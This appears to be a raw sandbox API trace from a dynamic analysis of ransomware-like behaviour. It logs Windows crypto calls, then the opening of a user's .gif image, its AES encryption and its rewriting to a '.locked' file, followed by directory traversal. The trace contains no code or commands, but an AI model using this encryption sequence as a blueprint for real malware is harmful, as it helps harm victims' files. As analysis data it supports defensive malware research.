(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.422] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.422] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0136.422] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.422] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.422] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0136.422] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.422] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.422] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0136.422] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.422] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.422] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0136.422] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.423] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.423] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.423] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.423] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0136.423] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0136.423] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0136.423] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0136.423] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0136.423] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0136.423] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0136.423] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0136.424] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0136.424] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0136.424] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43964e8) returned 1 [0136.425] CryptImportKey (in: hProv=0x43964e8, pbData=0x6ad9530, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84bf8) returned 1 [0136.425] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.425] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.426] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif")) returned 0x20 [0136.426] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif")) returned 0x20 [0136.426] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.426] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.427] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.427] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0136.428] GetFileType (hFile=0x764) returned 0x1 [0136.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.428] GetFileType (hFile=0x764) returned 0x1 [0136.428] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.428] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0136.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked", lpFilePart=0x0) returned 0x66 [0136.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.428] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0136.430] GetFileType (hFile=0x778) returned 0x1 [0136.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.430] GetFileType (hFile=0x778) returned 0x1 [0136.430] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.430] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x6af5f00 | out: pbBuffer=0x6af5f00) returned 1 [0136.430] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.430] CryptDuplicateKey (in: hKey=0x8e84bf8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84a78) returned 1 [0136.430] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.430] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x4, pbData=0x6af71bc*=0x1, dwFlags=0x0) returned 1 [0136.430] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x1, pbData=0x6af7188, dwFlags=0x0) returned 1 [0136.430] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x1f80\x438\x24a") returned 0x0 [0136.431] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.431] ReadFile (in: hFile=0x764, lpBuffer=0x6afa718, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6afa718*, lpNumberOfBytesRead=0x99ae7a8*=0x100b0, lpOverlapped=0x0) returned 1 [0136.431] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b0e724*, pdwDataLen=0x99ae79c*=0x100b0, dwBufLen=0x100b0 | out: pbData=0x6b0e724*, pdwDataLen=0x99ae79c*=0x100b0) returned 1 [0136.431] WriteFile (in: hFile=0x778, lpBuffer=0x6af5fc0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6af5fc0*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0136.432] WriteFile (in: hFile=0x778, lpBuffer=0x6b0f710*, nNumberOfBytesToWrite=0xf0c4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6b0f710*, lpNumberOfBytesWritten=0x99ae780*=0xf0c4, lpOverlapped=0x0) returned 1 [0136.433] ReadFile (in: hFile=0x764, lpBuffer=0x6afa718, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6afa718*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0136.433] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b1e7f8*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6b1e7f8*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0136.433] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b1e82c*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6b1e82c*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0136.433] WriteFile (in: hFile=0x778, lpBuffer=0x6af5fc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6af5fc0*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0136.433] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.434] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.434] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.434] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.434] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.435] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif")) returned 0x20 [0136.436] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif", lpFilePart=0x0) returned 0x5f [0136.436] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.436] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.436] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.436] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.436] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.436] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.436] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.436] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.436] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.436] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.436] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.436] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.437] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.437] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.437] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.437] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.437] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.437] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.437] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.437] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.437] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.437] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.437] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.437] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.437] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q")) returned 0x10 [0136.438] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q")) returned 0x10 [0136.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q", lpFilePart=0x0) returned 0x46 [0136.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q", 